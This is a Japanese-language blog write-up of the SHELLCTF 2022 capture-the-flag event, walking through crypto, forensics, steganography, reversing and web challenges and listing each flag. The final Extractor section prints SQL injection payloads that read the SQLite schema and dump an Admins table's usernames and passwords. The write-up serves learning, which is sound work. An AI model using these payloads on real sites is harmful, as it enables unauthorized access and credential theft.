はまやんはまやんはまやん

hamayanhamayan's blog

SHELLCTF 2022 Writeups

[crypto] OX9OR2

フラグに9文字の鍵をXORしたものがencryptedとして与えられる。

encryptedにとりあえずSHELL{???を鍵として渡してみるとXORISC(@!T6DZM.&.!>6UI,Eと出てくる。
鍵の先頭はXORISCのようだ。

XORISC???を改めて鍵にしてみる。
SHELL{(@!_1S_R3&.!51BL3}
んー微妙にわからん。

xor is coolかなーと鍵を推測すると一発で当たった。
XORISCOOLを鍵にするとフラグが得られる。

SHELL{X0R_1S_R3VeR51BL3}

[forensic] Alien Communication

音声ファイルが渡される。
いつものようにSonic Visualiserでスペクトラム画像を表示するとフラグが書いてある。

shell{y0u_g07_7h3_f1ag}

[forensic] Heaven

青い空を見上げればいつもそこに白い猫を起動してステガノグラフィー解析を眺める。
RGBのビット7を見てみると左上に謎の点々が見られる。
RGBの最上位ビットに何か情報が埋め込まれているようだ。

ステガノグラフィー解析のビット抽出を押して、RGBのビット7にチェックを入れて、バイナリデータ表示をするとフラグが出てくる。
テキストのみ表示にチェックを入れるとコピーしやすい。

SHELL{man1pul4t1ng_w1th_31ts_15_3A5y}

[forensic] Hidden File

Hidden.jpgが与えられる。色々試すと以下で有益情報が得られる。

$ exiftool Hidden.jpg 
ExifTool Version Number         : 12.44
File Name                       : Hidden.jpg
Directory                       : .
File Size                       : 2.1 MB
File Modification Date/Time     : 2022:08:14 01:35:19+09:00
File Access Date/Time           : 2022:08:14 01:37:04+09:00
File Inode Change Date/Time     : 2022:08:14 01:35:19+09:00
File Permissions                : -rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 72
Y Resolution                    : 72
Exif Byte Order                 : Big-endian (Motorola, MM)
Make                            : the password is shell;
Artist                          : the password is shell
XP Author                       : the password is shell
Padding                         : (Binary data 2060 bytes, use -b option to extract)
About                           : uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b
Creator                         : the password is shell
Image Width                     : 3000
Image Height                    : 4500
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 3000x4500
Megapixels                      : 13.5

パスワードはshellらしい。steghideでファイルをダンプしてみると成功する。

$ steghide extract -sf Hidden.jpg -p shell -xf out
wrote extracted data to "out".

$ file out
out: Zip archive data, at least v2.0 to extract, compression method=deflate

$ 7z x out

flag.zip, se3cretf1l3.pdf, something.jpgが手に入る。
something.jpgがQRコードだけれど、そのまま読むといつものyoutube動画。
pdf解析をしていくと、文字起こしでいい感じの情報が手に入る。

$ pdf2txt.py se3cretf1l3.pdf
Never gonna give you up 
Never gonna let you down
Never gonna run around and desert you
Never gonna make you cry
Never gonna say goodbye 
Never gonna tell a lie and hurt you
key is shellctf

shellctfでflag.zipを解凍するとflag.txtが入っておりフラグ獲得。

shell{y0u_g07_th3_flag_N1c3!}

[misc] World's Greatest Detective

謎の暗号文のような画像が与えられる。
特殊なフォントを使っていると推測して、Font Finder 🔎 by What Font Isで検索。
Modern Wakandan Regular WebFont - FFonts.net
このフォントであると特定できた。
あとは、対応表を見ながらデコードしていく。

SHELLCTF{W4kandA_F0rev3r}

[rev] How to defeat a dragon

ghidraに食わせるとmain関数で何かが成功するとlocal_78が表示される。

  local_78 = 0x4654434c4c454853;
  local_70 = 0x343534383433357b;
  local_68 = 0x3434353334633463;
  local_60 = 0x3535333133623736;
  local_58 = 0x3336373333323566;
  local_50 = 0x3631333533323733;
  local_48 = 0x3333336635373665;
  local_40 = 0x3766333937333734;
  local_38 = 0x7d64;

トルエンディアンで格納されてるので全部逆にして結合してhex to stringsするとフラグが出てくる。

SHELLCTF{5348454c4c4354467b31355f523376337235316e675f333473793f7d}

incorrectだった…波かっこの中身を改めてhex to stringsするともう一個フラグが出てくる。

SHELLCTF{15_R3v3r51ng_34sy?}

[rev] Keygen

ghidraで解析すると認証に成功するとgetString関数が呼ばれて何かが帰ってくるようだ。
直接getString関数の中身を見るとバイト列が返されるので持ってきて、CyberChefに食わせてフラグを得る

SHELLCTF{k3ygen_1s_c0oL}

[rev] Pulling the strings

ghidraに食わせるとmain関数にflagという変数があり、そこを参照するとフラグが格納されている。

SHELLCTF{Th4nks_f0r_the_food}

[rev] warmup

ghidraに食わせてmain関数を見る。
用意された変数に対して右に2つビットシフトして比較をしている。
コードを複製して、右に2つビットシフトしたものを文字列として出力してみよう。

#include <stdio.h>

int main(void) {
    int local_a8 [28];
    local_a8[0] = 0x1cc;
    local_a8[1] = 0x1a0;
    local_a8[2] = 0x194;
    local_a8[3] = 0x1b0;
    local_a8[4] = 0x1b0;
    local_a8[5] = 0x18c;
    local_a8[6] = 0x1d0;
    local_a8[7] = 0x198;
    local_a8[8] = 0x1ec;
    local_a8[9] = 0x188;
    local_a8[10] = 0xc4;
    local_a8[11] = 0x1d0;
    local_a8[12] = 0x15c;
    local_a8[13] = 0x1a4;
    local_a8[14] = 0xd4;
    local_a8[15] = 0x194;
    local_a8[16] = 0x17c;
    local_a8[17] = 0xc0;
    local_a8[18] = 0x1c0;
    local_a8[19] = 0xcc;
    local_a8[20] = 0x1c8;
    local_a8[21] = 0x104;
    local_a8[22] = 0x1d0;
    local_a8[23] = 0xc0;
    local_a8[24] = 0x1c8;
    local_a8[25] = 0x14c;
    local_a8[26] = 50;
    for (int local_ac = 0; local_ac < 0x1b; local_ac = local_ac + 1) {
        printf("%c", local_a8[local_ac] >> 2);
    }
    return 0;
}

これを実行するとshellctf{b1tWi5e_0p3rAt0rSと出力される。最後にカッコを補ったらフラグになる。

shellctf{b1tWi5e_0p3rAt0rS}

[web] Colour Cookie

/static/base_cookie.cssの末尾に/* name="C0loR" */と不穏なコメントがある。
フォームに名前を入れても応答が変わらないのでコメントにあるようにC0loRにしてみるが…何も起きないな。

ヒントが追加されたので見てみる
The key is finding and value is the favourite thing....

はー

GET /check?name=&C0loR=Blue

shellctf{C0ooooK13_W17h_c0ooorr3c7_Parr4m37er...}

[web] Extractor

なんか、guessすぎるweb問が多かったので初手ヒントを見た。
a sample query :- username' union select 1,(SELECT group_concat(sql) FROM sqlite_master),3,4;--
だいぶ優しいヒントだった…
これは頑張ればよかったな。

GET /profile?username=username%27+union+select+1%2Csqlite_version%28%29%2C3%2C4%3B--&pass=&content=
のようにするとsqliteのバージョンが出てくる。
つまりusernameにSQL Injectionの脆弱性がある。

usernameにusername' union select 1,(SELECT group_concat(sql) FROM sqlite_master),3,4;--とする。

CREATE TABLE Admins ( 
    id INTEGER PRIMARY KEY AUTOINCREMENT, 
    user TEXT NOT NULL, 
    pass TEXT NOT NULL, 
    content TEXT NOT NULL
),
CREATE TABLE sqlite_sequence(name,seq),
CREATE TABLE users (
    id INTEGER PRIMARY KEY AUTOINCREMENT, 
    user TEXT NOT NULL,
    pass TEXT NOT NULL, 
    content TEXT NOT NULL
)

いい感じにテーブル情報が抜けてきた。Adminsテーブルを抜こう。

username' union select id,user,pass,content from Admins;--でフラグが得られた。

shellctf{Sql_1Nj3c7i0n_B45iC_XD}